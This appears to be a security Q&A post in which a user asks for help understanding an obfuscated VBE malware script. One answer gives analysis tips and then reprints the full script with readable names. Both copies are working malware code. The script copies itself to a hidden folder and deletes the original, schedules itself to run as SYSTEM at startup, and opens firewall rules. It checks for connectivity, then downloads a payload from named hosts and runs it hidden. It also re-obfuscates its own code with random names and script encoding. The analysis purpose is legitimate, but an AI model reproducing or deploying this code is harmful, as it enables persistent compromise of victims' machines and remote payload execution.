Obfuscated VBE malware script analysis

Question

Some actions of this script are clear e.g. the section that adds firewall rules, others not so much

On Error Resume Next

F27
F10
A0
DBCF

Sub F27()
    Dim E13C563AFCB34, C0009B48F34B, C8, BEBE2817704748838CC96E, B37C
    With CreateObject("WScript.Shell")
        C0009B48F34B = Replace(Mid(CreateObject("Scriptlet.TypeLib").Guid, 2, 36), "-", "")
        E13C563AFCB34 = .Environment("process")("appdata") & "\" & Replace(Mid(CreateObject("Scriptlet.TypeLib").Guid, 2, 36), "-", "") & "\"
        With CreateObject("Scripting.FileSystemObject")
            C8 = .GetParentFolderName(WScript.ScriptFullName) & "\"
            BEBE2817704748838CC96E = "." & .GetExtensionName(WScript.ScriptFullName)
            EA E13C563AFCB34
            With .OpenTextFile(WScript.ScriptFullName, 1, False, -2) ' -2 - System default, -1 - Unicode, 0 - ASCII
                B37C = .ReadAll
                .Close
            End With
            If LCase(BEBE2817704748838CC96E) = ".vbe" Then
                B37C = B64C32BB17144(B37C)
                B37C = FA2(B37C)
                B37C = C87E(B37C)
            Else
                B37C = FA2(B37C)
            End If
            With .OpenTextFile(E13C563AFCB34 & C0009B48F34B & BEBE2817704748838CC96E, 2, True, -1)
                .Write B37C
                .Close
            End With
            .DeleteFile WScript.ScriptFullName, True
            With .GetFolder(C8)
                If .Files.Count = 0 And .SubFolders.Count = 0 Then
                    .Delete True
                End If
            End With
        End With
        .Run "schtasks /create /ru system /tn WindowsTaskCoreUpdate /sc onstart /tr """ & E13C563AFCB34 & C0009B48F34B & BEBE2817704748838CC96E & """ /f /rl highest", 0, True
    End With
End Sub

Sub EA(D9CC7)
    With CreateObject("Scripting.FileSystemObject")
        If Not .FolderExists(D9CC7) Then
            EA .GetParentFolderName(D9CC7)
            .CreateFolder D9CC7
            With .GetFolder(D9CC7)
                .Attributes = .Attributes Or 2
            End With
        End If
    End With 
End Sub

Sub F10()
    E306B "WindowsIndexerCoreUpdate", WScript.FullName
End Sub

Sub E306B(B2D50C09F74D4D98929, F442D4A1)
    With CreateObject("WScript.Shell")
        .Run "netsh advfirewall firewall add rule name=""" & B2D50C09F74D4D98929 & """ dir=in action=allow description=""" & B2D50C09F74D4D98929 & """ program=""" & F442D4A1 & """ enable=yes", 0, True
        .Run "netsh advfirewall firewall add rule name=""" & B2D50C09F74D4D98929 & """ dir=out action=allow description=""" & B2D50C09F74D4D98929 & """ program=""" & F442D4A1 & """ enable=yes", 0, True
    End With 
End Sub

Sub A0()
    Dim CECCA989
    Do
        For Each CECCA989 In Array("facebook.com", "google.com", "youtube.com", "vk.com", "yahoo.com", "live.com", "instagram.com")
            With GetObject("winmgmts:{impersonationLevel=Impersonate}!\\.\root\CIMV2:Win32_PingStatus.Address='" & CECCA989 & "'")
                Select Case True
                    Case IsNull(.StatusCode)
                    Case .StatusCode <> 0
                    Case Else Exit Sub
                End Select
            End  With
        Next
        WScript.Sleep 10000
    Loop
End Sub

Sub DBCF()
    Dim CECCA989, F442D4A1, AEF, C
    F442D4A1 = CreateObject("WScript.Shell").Environment("process")("temp") & "\steam.vbe"
    For Each CECCA989 In Array(_
        "http://gmfordown.com/game.log", _
        "http://tor4games.com/steam.lock", _
        "http://dvx2videofr.com/pack.dll")
        CE9FC81B15 CECCA989, F442D4A1, AEF, C
        If AEF = 200 And C = 0 Then Exit For
    Next
    If IsEmpty(CECCA989) Then Exit Sub
    If LCase(Right(F442D4A1, 4)) = ".exe" Then E306B "WindowsGenericCoreUpdate", F442D4A1
    CreateObject("WScript.Shell").Run F442D4A1, 0, True
End Sub

Sub CE9FC81B15(CECCA989, F442D4A1, AEF, C)
    Dim C5A1C339
    On Error Resume Next
    C = 0
    With CreateObject("MSXML2.XMLHTTP")
        .Open "GET", CECCA989, False
        .Send
        AEF = .status
        If AEF <> 200 Then Exit Sub
        C5A1C339 = .responseBody
    End With
    C = Err.Number
    If C <> 0 Then Exit Sub
    With CreateObject("Scripting.FileSystemObject")
        If .FileExists(F442D4A1) Then .DeleteFile F442D4A1, True
    End With
    C = Err.Number
    If C <> 0 Then Exit Sub
    With CreateObject("ADODB.Stream")
        .Type = 1
        .Open
        .Write C5A1C339
        .SaveToFile F442D4A1, 2
        .Close
    End With
    C = Err.Number
End Sub

Function FA2(ByVal D9FF4E5DA8)

    Dim D9, CCD2479A6F784D5E9B13C7D, C01A, CD10282927844, C1, CA2C09B1068, DE, D3, E5, B1723AC3, CB59D564B, B39C9BDF

    Set D9 = CreateObject("Scripting.Dictionary")
    Set CCD2479A6F784D5E9B13C7D = CreateObject("Scripting.Dictionary")
    Set C01A = CreateObject("Scripting.Dictionary")
    With New RegExp
        .IgnoreCase = True
        .Multiline = True
        .Pattern = "(?:""(?:""""|[^""\n])*?""(?!""))"
        CD10282927844 = 0
        Do
            Set C1 = .Execute(D9FF4E5DA8)
            If C1.Count = 0 Then Exit Do
            Do
                CA2C09B1068 = "%" & CD10282927844 & "%"
                If Instr(D9FF4E5DA8, CA2C09B1068) = 0 Then Exit Do
                CD10282927844 = CD10282927844 + 1
            Loop
            D9FF4E5DA8 = .Replace(D9FF4E5DA8, CA2C09B1068)
            CCD2479A6F784D5E9B13C7D(CA2C09B1068) = C1(0).Value
        Loop
        D9FF4E5DA8 = Replace(D9FF4E5DA8, ":", vbCrLf & ":" & vbCrLf)
        .Global = True
        .Pattern = "(\bthen )(.+)"
        D9FF4E5DA8 = .Replace(D9FF4E5DA8, "$1" & vbCrLf & Chr(0) & vbCrLf & "$2")
        .Pattern = "^[ \t]*(?:(?:private|public|public[ \t]+default)[ \t]+)?(?:function|sub|property[ \t]+(?:let|set|get))[ \t]+([a-z]\w*)[ \t]*\((.*)\)[ \t]*(?:$|'.*$)"
        For Each DE In .Execute(D9FF4E5DA8)
            D9(DE.SubMatches(0)) = ""
            D3 = DE.SubMatches(1)
            With New RegExp
                .Global = True
                .IgnoreCase = True
                .Pattern = "(?:\b(?:byval|byref)[ \t]+)?([a-z]\w*)[ \t]*"
                For Each E5 In .Execute(D3)
                    D9(E5.SubMatches(0)) = ""
                Next
            End With
        Next
        .Pattern = "^[ \t]*(?:dim|redim[ \t]+preserve|redim)[ \t]+(.*?)[ \t]*(?:$|'.*$)"
        For Each DE In .Execute(D9FF4E5DA8)
            D3 = DE.SubMatches(0)
            With New RegExp
                .Global = True
                .IgnoreCase = True
                .Pattern = "\([^\(]*?\)"
                Do While .Test(D3)
                    D3 = .Replace(D3, "")
                Loop
            End With
            For Each B1723AC3 In Split(D3, ",")
                D9(Trim(B1723AC3)) = ""
            Next
        Next
        .Pattern = "^[ \t]*class[ \t]+([a-z]\w*)[ \t]*(?:$|'.*$)"
        For Each DE In .Execute(D9FF4E5DA8)
            D9(DE.SubMatches(0)) = ""
        Next
        .Pattern = "^[ \t]*for[ \t]+each[ \t]+([a-z]\w*)[ \t]+in[ \t]+.+(?:$|'.*$)"
        For Each DE In .Execute(D9FF4E5DA8)
            D9(DE.SubMatches(0)) = ""
        Next
        .Pattern = "^[ \t]*for[ \t]+([a-z]\w*)[ \t]*\=[ \t]*.+(?:$|'.*$)"
        For Each DE In .Execute(D9FF4E5DA8)
            D9(DE.SubMatches(0)) = ""
        Next
        .Pattern = "^[ \t]*(?:(?:set|const)[ \t]+)?([a-z]\w*)[ \t]\=[ \t]*.+(?:$|'.*$)"
        For Each DE In .Execute(D9FF4E5DA8)
            D9(DE.SubMatches(0)) = ""
        Next
        D9FF4E5DA8 = Replace(D9FF4E5DA8, vbCrLf & Chr(0) & vbCrLf, "")
        D9FF4E5DA8 = Replace(D9FF4E5DA8, vbCrLf & ":" & vbCrLf, ":")
        Randomize
        CD10282927844 = 0
        C01A("") = ""
        For Each CB59D564B In D9
            .Pattern = "\b" & CB59D564B & "\b"
            Do
                B39C9BDF = Left(Replace(Mid(CreateObject("Scriptlet.TypeLib").Guid, 2, 36), "-", ""), 32 * Rnd * Rnd ^ 8 + 1)
                Do While IsNumeric(Left(B39C9BDF, 1))
                    B39C9BDF = Mid(B39C9BDF, 2)
                Loop
                If Not (C01A.Exists(B39C9BDF) Or D9.Exists(B39C9BDF)) Then
                    C01A(B39C9BDF) = ""
                    Exit Do
                End If
            Loop
            D9FF4E5DA8 = .Replace(D9FF4E5DA8, B39C9BDF)
            D9(CB59D564B) = B39C9BDF
            CD10282927844 = CD10282927844 + 1
        Next
        .Global = False
        .Pattern = "(\bgetref[ \t]*\([ \t]*)(%\d+%)([ \t]*\))"
        Do
            Set C1 = .Execute(D9FF4E5DA8)
            If C1.Count = 0 Then Exit Do
            CA2C09B1068 = C1(0).SubMatches(1)
            CB59D564B = CCD2479A6F784D5E9B13C7D(CA2C09B1068)
            CB59D564B = Mid(CB59D564B, 2, Len(CB59D564B) - 2)
            If D9.Exists(CB59D564B) Then
                D9FF4E5DA8 = .Replace(D9FF4E5DA8, "$1""" & D9(CB59D564B) & """$3")
            Else
                D9FF4E5DA8 = Replace(D9FF4E5DA8, CA2C09B1068, CCD2479A6F784D5E9B13C7D(CA2C09B1068))
            End If
        Loop
        For Each CA2C09B1068 In CCD2479A6F784D5E9B13C7D
            D9FF4E5DA8 = Replace(D9FF4E5DA8, CA2C09B1068, CCD2479A6F784D5E9B13C7D(CA2C09B1068))
        Next
    End With
    FA2 = D9FF4E5DA8

End Function

Function C87E(E00CD)

    Dim E0841EA011

    set E0841EA011 = CreateObject("Scripting.Encoder")
    E00CD = E0841EA011.EncodeScriptFile(".vbs", E00CD, 0, "")
    If Asc(Right(E00CD, 1)) = 0 Then E00CD = Left(E00CD, Len(E00CD) - 1)
    C87E = E00CD

End Function

Function B64C32BB17144(E00CD)

    Dim F7C49787803847
    Dim AF5716

    Do
        AF5716 = 0
        F7C49787803847 = InStr(E00CD, "#@~^")
        If F7C49787803847 > 0 Then
            If InStr(F7C49787803847, E00CD, "==") - F7C49787803847 = 10 Then
                AF5716 = InStr(F7C49787803847, E00CD, "==^#~@")
                If AF5716 > 0 Then
                    E00CD = _
                        Left(E00CD, F7C49787803847 - 1) & _
                        E6168(Mid(E00CD, F7C49787803847 + 12, AF5716 - F7C49787803847 - 12 - 6)) & _
                        Mid(E00CD, AF5716 + 6)
                End If
            End If
        End If
    Loop Until AF5716 = 0
    B64C32BB17144 = E00CD

End Function

Function E6168(E00CD)

    Const FE2573C60644DC = "1231232332321323132311233213233211323231311231321323112331123132"

    Dim E0841EA011, CD10282927844, A0, D1619D105014E6, D383AB927646D, BA
    Dim B1990EE1E94(127)

    Set E0841EA011 = WSCript.CreateObject("Scripting.Encoder")
    For CD10282927844 = 9 To 127
        B1990EE1E94(CD10282927844) = "JLA"
    Next
    For CD10282927844 = 9 To 127
        BA = Mid(E0841EA011.EncodeScriptFile(".vbs", String(3, CD10282927844), 0, ""), 13, 3)
        For D1619D105014E6 = 1 To 3
            A0 = Asc(Mid(BA, D1619D105014E6, 1))
            B1990EE1E94(A0) = Left(B1990EE1E94(A0), D1619D105014E6 - 1) & Chr(CD10282927844) & Mid(B1990EE1E94(A0), D1619D105014E6 + 1)
        Next
    Next
    B1990EE1E94(42) = Left(B1990EE1E94(42), 1) & ")" & Right(B1990EE1E94(42), 1)
    E00CD = Replace(Replace(E00CD, "@&", Chr(10)), "@#", Chr(13))
    E00CD = Replace(Replace(E00CD, "@*", ">"), "@!", "<")
    E00CD = Replace(E00CD, "@$", "@")
    D383AB927646D = -1
    For CD10282927844 = 1 To Len(E00CD)
        A0 = Asc(Mid(E00CD, CD10282927844, 1))
        If A0 < 128 Then D383AB927646D = D383AB927646D + 1
        If (A0 = 9) Or ((A0 > 31) And (A0 < 128)) Then
            If (A0 <> 60) And (A0 <> 62) And (A0 <> 64) Then
                E00CD = _
                    Left(E00CD, CD10282927844 - 1) & _
                    Mid(B1990EE1E94(A0), Mid(FE2573C60644DC, (D383AB927646D Mod 64) + 1, 1), 1) & _
                    Mid(E00CD, CD10282927844 + 1)
            End If
        End If
    Next
    E6168 = E00CD

End Function


C9B0C270511241EBBF8 "https://2no.co/177Ky7"
Function C9B0C270511241EBBF8(F3)
Dim B3996
Set B3996 = CreateObject("MSXML2.ServerXMLHTTP")
B3996.setTimeouts 0, 0, 0, 0
B3996.Open "GET", F3, False
B3996.send
C9B0C270511241EBBF8 = B3996.responseText
Set B3996 = Nothing
End Function

Answer 1

This script is mostly obfuscated through renaming of variables and function names. I recommend using a tool such as Visual Studio Code Where you can right click the variable or function and select option "Rename all occurrences" and give everything human readable name. You can search for how a variable or function is generally used and give it a name based on that. Then for further testing I would test in an isolated virtual machine using a VBScript debugger and you can step line by line and analyse the results of variables. Or you could change the .Execute/ .Run etc to output the contents of the strings.

An example manually renaming the variables and functions makes it much easier to read:

On Error Resume Next

CreateScheduledTask
AddFirewallRuleToAllowScript
CheckIfOnline
RunDownloadedPayload
HttpGet "https://2no.co/177Ky7"

Sub CreateScheduledTask()
    Dim TargetFolderName, Filename, ScriptFolder, FilenameExtension, ScriptContents
    With CreateObject("WScript.Shell")
        Filename = Replace(Mid(CreateObject("Scriptlet.TypeLib").Guid, 2, 36), "-", "")
        TargetFolderName = .Environment("process")("appdata") & "\" & Replace(Mid(CreateObject("Scriptlet.TypeLib").Guid, 2, 36), "-", "") & "\"
        With CreateObject("Scripting.FileSystemObject")
            ScriptFolder = .GetParentFolderName(WScript.ScriptFullName) & "\"
            FilenameExtension = "." & .GetExtensionName(WScript.ScriptFullName)
            CreateFolder TargetFolderName
            With .OpenTextFile(WScript.ScriptFullName, 1, False, -2) ' -2 - System default, -1 - Unicode, 0 - ASCII
                ScriptContents = .ReadAll
                .Close
            End With
            If LCase(FilenameExtension) = ".vbe" Then
                ScriptContents = SomeStringOperation(ScriptContents)
                ScriptContents = RunScript(ScriptContents)
                ScriptContents = encodeString(ScriptContents)
            Else
                ScriptContents = RunScript(ScriptContents)
            End If
            With .OpenTextFile(TargetFolderName & Filename & FilenameExtension, 2, True, -1)
                .Write ScriptContents
                .Close
            End With
            .DeleteFile WScript.ScriptFullName, True
            With .GetFolder(ScriptFolder)
                If .Files.Count = 0 And .SubFolders.Count = 0 Then
                    .Delete True
                End If
            End With
        End With
        .Run "schtasks /create /ru system /tn WindowsTaskCoreUpdate /sc onstart /tr """ & TargetFolderName & Filename & FilenameExtension & """ /f /rl highest", 0, True
    End With
End Sub

Sub CreateFolder(FolderName)
    With CreateObject("Scripting.FileSystemObject")
        If Not .FolderExists(FolderName) Then
            CreateFolder .GetParentFolderName(FolderName)
            .CreateFolder FolderName
            With .GetFolder(FolderName)
                .Attributes = .Attributes Or 2
            End With
        End If
    End With 
End Sub

Sub AddFirewallRuleToAllowScript()
    AddFireWallRule "Add", WScript.FullName
End Sub

Sub AddFireWallRule(FirewallRuleName, ProgramName)
    With CreateObject("WScript.Shell")
        .Run "netsh advfirewall firewall add rule name=""" & FirewallRuleName & """ dir=in action=allow description=""" & FirewallRuleName & """ program=""" & ProgramName & """ enable=yes", 0, True
        .Run "netsh advfirewall firewall add rule name=""" & FirewallRuleName & """ dir=out action=allow description=""" & FirewallRuleName & """ program=""" & ProgramName & """ enable=yes", 0, True
    End With 
End Sub

Sub CheckIfOnline()
    Dim Url
    Do
        For Each Url In Array("facebook.com", "google.com", "youtube.com", "vk.com", "yahoo.com", "live.com", "instagram.com")
            With GetObject("winmgmts:{impersonationLevel=Impersonate}!\\.\root\CIMV2:Win32_PingStatus.Address='" & Url & "'")
                Select Case True
                    Case IsNull(.StatusCode)
                    Case .StatusCode <> 0
                    Case Else Exit Sub
                End Select
            End  With
        Next
        WScript.Sleep 10000
    Loop
End Sub

Sub RunDownloadedPayload()
    Dim Url, ProgramName, HttpResponsecode, HttpErrorCode
    ProgramName = CreateObject("WScript.Shell").Environment("process")("temp") & "\steam.vbe"
    For Each Url In Array(_
        "http://gmfordown.com/game.log", _
        "http://tor4games.com/steam.lock", _
        "http://dvx2videofr.com/pack.dll")
        Download Url, ProgramName, HttpResponsecode, HttpErrorCode
        If HttpResponsecode = 200 And HttpErrorCode = 0 Then Exit For
    Next
    If IsEmpty(Url) Then Exit Sub
    If LCase(Right(ProgramName, 4)) = ".exe" Then AddFireWallRule "WindowsGenericCoreUpdate", ProgramName
    CreateObject("WScript.Shell").Run ProgramName, 0, True
End Sub

Sub Download(Url, ProgramName, HttpResponsecode, HttpErrorCode)
    Dim HttpResponseBody
    On Error Resume Next
    HttpErrorCode = 0
    With CreateObject("MSXML2.XMLHTTP")
        .Open "GET", Url, False
        .Send
        HttpResponsecode = .status
        If HttpResponsecode <> 200 Then Exit Sub
        HttpResponseBody = .responseBody
    End With
    HttpErrorCode = Err.Number
    If HttpErrorCode <> 0 Then Exit Sub
    With CreateObject("Scripting.FileSystemObject")
        If .FileExists(ProgramName) Then .DeleteFile ProgramName, True
    End With
    HttpErrorCode = Err.Number
    If HttpErrorCode <> 0 Then Exit Sub
    With CreateObject("ADODB.Stream")
        .Type = 1
        .Open
        .Write HttpResponseBody
        .SaveToFile ProgramName, 2
        .Close
    End With
    HttpErrorCode = Err.Number
End Sub

Function RunScript(ByVal scriptContent)

    Dim scriptingDictionary1, scriptingDictionary2, scriptingDictionary3, index, C1, percentIndexPercentString, DE, D3, E5, commaSeparatedValue, scriptingDictionaryResult, replaceTypeLibGuidRandomString

    Set scriptingDictionary1 = CreateObject("Scripting.Dictionary")
    Set scriptingDictionary2 = CreateObject("Scripting.Dictionary")
    Set scriptingDictionary3 = CreateObject("Scripting.Dictionary")
    With New RegExp
        .IgnoreCase = True
        .Multiline = True
        .Pattern = "(?:""(?:""""|[^""\n])*?""(?!""))"
        index = 0
        Do
            Set C1 = .Execute(scriptContent)
            If C1.Count = 0 Then Exit Do
            Do
                percentIndexPercentString = "%" & index & "%"
                If Instr(scriptContent, percentIndexPercentString) = 0 Then Exit Do
                index = index + 1
            Loop
            scriptContent = .Replace(scriptContent, percentIndexPercentString)
            scriptingDictionary2(percentIndexPercentString) = C1(0).Value
        Loop
        scriptContent = Replace(scriptContent, ":", vbCrLf & ":" & vbCrLf)
        .Global = True
        .Pattern = "(\bthen )(.+)"
        scriptContent = .Replace(scriptContent, "$1" & vbCrLf & Chr(0) & vbCrLf & "$2")
        .Pattern = "^[ \t]*(?:(?:private|public|public[ \t]+default)[ \t]+)?(?:function|sub|property[ \t]+(?:let|set|get))[ \t]+([a-z]\w*)[ \t]*\((.*)\)[ \t]*(?:$|'.*$)"
        For Each DE In .Execute(scriptContent)
            scriptingDictionary1(DE.SubMatches(0)) = ""
            D3 = DE.SubMatches(1)
            With New RegExp
                .Global = True
                .IgnoreCase = True
                .Pattern = "(?:\b(?:byval|byref)[ \t]+)?([a-z]\w*)[ \t]*"
                For Each E5 In .Execute(D3)
                    scriptingDictionary1(E5.SubMatches(0)) = ""
                Next
            End With
        Next
        .Pattern = "^[ \t]*(?:dim|redim[ \t]+preserve|redim)[ \t]+(.*?)[ \t]*(?:$|'.*$)"
        For Each DE In .Execute(scriptContent)
            D3 = DE.SubMatches(0)
            With New RegExp
                .Global = True
                .IgnoreCase = True
                .Pattern = "\([^\(]*?\)"
                Do While .Test(D3)
                    D3 = .Replace(D3, "")
                Loop
            End With
            For Each commaSeparatedValue In Split(D3, ",")
                scriptingDictionary1(Trim(commaSeparatedValue)) = ""
            Next
        Next
        .Pattern = "^[ \t]*class[ \t]+([a-z]\w*)[ \t]*(?:$|'.*$)"
        For Each DE In .Execute(scriptContent)
            scriptingDictionary1(DE.SubMatches(0)) = ""
        Next
        .Pattern = "^[ \t]*for[ \t]+each[ \t]+([a-z]\w*)[ \t]+in[ \t]+.+(?:$|'.*$)"
        For Each DE In .Execute(scriptContent)
            scriptingDictionary1(DE.SubMatches(0)) = ""
        Next
        .Pattern = "^[ \t]*for[ \t]+([a-z]\w*)[ \t]*\=[ \t]*.+(?:$|'.*$)"
        For Each DE In .Execute(scriptContent)
            scriptingDictionary1(DE.SubMatches(0)) = ""
        Next
        .Pattern = "^[ \t]*(?:(?:set|const)[ \t]+)?([a-z]\w*)[ \t]\=[ \t]*.+(?:$|'.*$)"
        For Each DE In .Execute(scriptContent)
            scriptingDictionary1(DE.SubMatches(0)) = ""
        Next
        scriptContent = Replace(scriptContent, vbCrLf & Chr(0) & vbCrLf, "")
        scriptContent = Replace(scriptContent, vbCrLf & ":" & vbCrLf, ":")
        Randomize
        index = 0
        scriptingDictionary3("") = ""
        For Each scriptingDictionaryResult In scriptingDictionary1
            .Pattern = "\b" & scriptingDictionaryResult & "\b"
            Do
                replaceTypeLibGuidRandomString = Left(Replace(Mid(CreateObject("Scriptlet.TypeLib").Guid, 2, 36), "-", ""), 32 * Rnd * Rnd ^ 8 + 1)
                Do While IsNumeric(Left(replaceTypeLibGuidRandomString, 1))
                    replaceTypeLibGuidRandomString = Mid(replaceTypeLibGuidRandomString, 2)
                Loop
                If Not (scriptingDictionary3.Exists(replaceTypeLibGuidRandomString) Or scriptingDictionary1.Exists(replaceTypeLibGuidRandomString)) Then
                    scriptingDictionary3(replaceTypeLibGuidRandomString) = ""
                    Exit Do
                End If
            Loop
            scriptContent = .Replace(scriptContent, replaceTypeLibGuidRandomString)
            scriptingDictionary1(scriptingDictionaryResult) = replaceTypeLibGuidRandomString
            index = index + 1
        Next
        .Global = False
        .Pattern = "(\bgetref[ \t]*\([ \t]*)(%\d+%)([ \t]*\))"
        Do
            Set C1 = .Execute(scriptContent)
            If C1.Count = 0 Then Exit Do
            percentIndexPercentString = C1(0).SubMatches(1)
            scriptingDictionaryResult = scriptingDictionary2(percentIndexPercentString)
            scriptingDictionaryResult = Mid(scriptingDictionaryResult, 2, Len(scriptingDictionaryResult) - 2)
            If scriptingDictionary1.Exists(scriptingDictionaryResult) Then
                scriptContent = .Replace(scriptContent, "$1""" & scriptingDictionary1(scriptingDictionaryResult) & """$3")
            Else
                scriptContent = Replace(scriptContent, percentIndexPercentString, scriptingDictionary2(percentIndexPercentString))
            End If
        Loop
        For Each percentIndexPercentString In scriptingDictionary2
            scriptContent = Replace(scriptContent, percentIndexPercentString, scriptingDictionary2(percentIndexPercentString))
        Next
    End With
    RunScript = scriptContent

End Function

Function encodeString(inputString)

    Dim ScriptingEncoder

    set ScriptingEncoder = CreateObject("Scripting.Encoder")
    inputString = ScriptingEncoder.EncodeScriptFile(".vbs", inputString, 0, "")
    If Asc(Right(inputString, 1)) = 0 Then inputString = Left(inputString, Len(inputString) - 1)
    encodeString = inputString

End Function

Function SomeStringOperation(inputString)

    Dim positionOfHashAt
    Dim positionOfEqualEqual

    Do
        positionOfEqualEqual = 0
        positionOfHashAt = InStr(inputString, "#@~^")
        If positionOfHashAt > 0 Then
            If InStr(positionOfHashAt, inputString, "==") - positionOfHashAt = 10 Then
                positionOfEqualEqual = InStr(positionOfHashAt, inputString, "==^#~@")
                If positionOfEqualEqual > 0 Then
                    inputString = _
                        Left(inputString, positionOfHashAt - 1) & _
                        encodeString2(Mid(inputString, positionOfHashAt + 12, positionOfEqualEqual - positionOfHashAt - 12 - 6)) & _
                        Mid(inputString, positionOfEqualEqual + 6)
                End If
            End If
        End If
    Loop Until positionOfEqualEqual = 0
    SomeStringOperation = inputString

End Function

Function encodeString2(inputString)

    Const numberStringSeed = "1231232332321323132311233213233211323231311231321323112331123132"

    Dim ScriptingEncoder, index, CheckIfOnline, D1619D105014E6, D383AB927646D, BA
    Dim JlaIndex(127)

    Set ScriptingEncoder = WSCript.CreateObject("Scripting.Encoder")
    For index = 9 To 127
        JlaIndex(index) = "JLA"
    Next
    For index = 9 To 127
        BA = Mid(ScriptingEncoder.EncodeScriptFile(".vbs", String(3, index), 0, ""), 13, 3)
        For D1619D105014E6 = 1 To 3
            CheckIfOnline = Asc(Mid(BA, D1619D105014E6, 1))
            JlaIndex(CheckIfOnline) = Left(JlaIndex(CheckIfOnline), D1619D105014E6 - 1) & Chr(index) & Mid(JlaIndex(CheckIfOnline), D1619D105014E6 + 1)
        Next
    Next
    JlaIndex(42) = Left(JlaIndex(42), 1) & ")" & Right(JlaIndex(42), 1)
    inputString = Replace(Replace(inputString, "@&", Chr(10)), "@#", Chr(13))
    inputString = Replace(Replace(inputString, "@*", ">"), "@!", "<")
    inputString = Replace(inputString, "@$", "@")
    D383AB927646D = -1
    For index = 1 To Len(inputString)
        CheckIfOnline = Asc(Mid(inputString, index, 1))
        If CheckIfOnline < 128 Then D383AB927646D = D383AB927646D + 1
        If (CheckIfOnline = 9) Or ((CheckIfOnline > 31) And (CheckIfOnline < 128)) Then
            If (CheckIfOnline <> 60) And (CheckIfOnline <> 62) And (CheckIfOnline <> 64) Then
                inputString = _
                    Left(inputString, index - 1) & _
                    Mid(JlaIndex(CheckIfOnline), Mid(numberStringSeed, (D383AB927646D Mod 64) + 1, 1), 1) & _
                    Mid(inputString, index + 1)
            End If
        End If
    Next
    encodeString2 = inputString

End Function

Function HttpGet(Url)
Dim ServerXMLHttp
Set ServerXMLHttp = CreateObject("MSXML2.ServerXMLHTTP")
ServerXMLHttp.setTimeouts 0, 0, 0, 0
ServerXMLHttp.Open "GET", Url, False
ServerXMLHttp.send
HttpGet = ServerXMLHttp.responseText
Set ServerXMLHttp = Nothing
End Function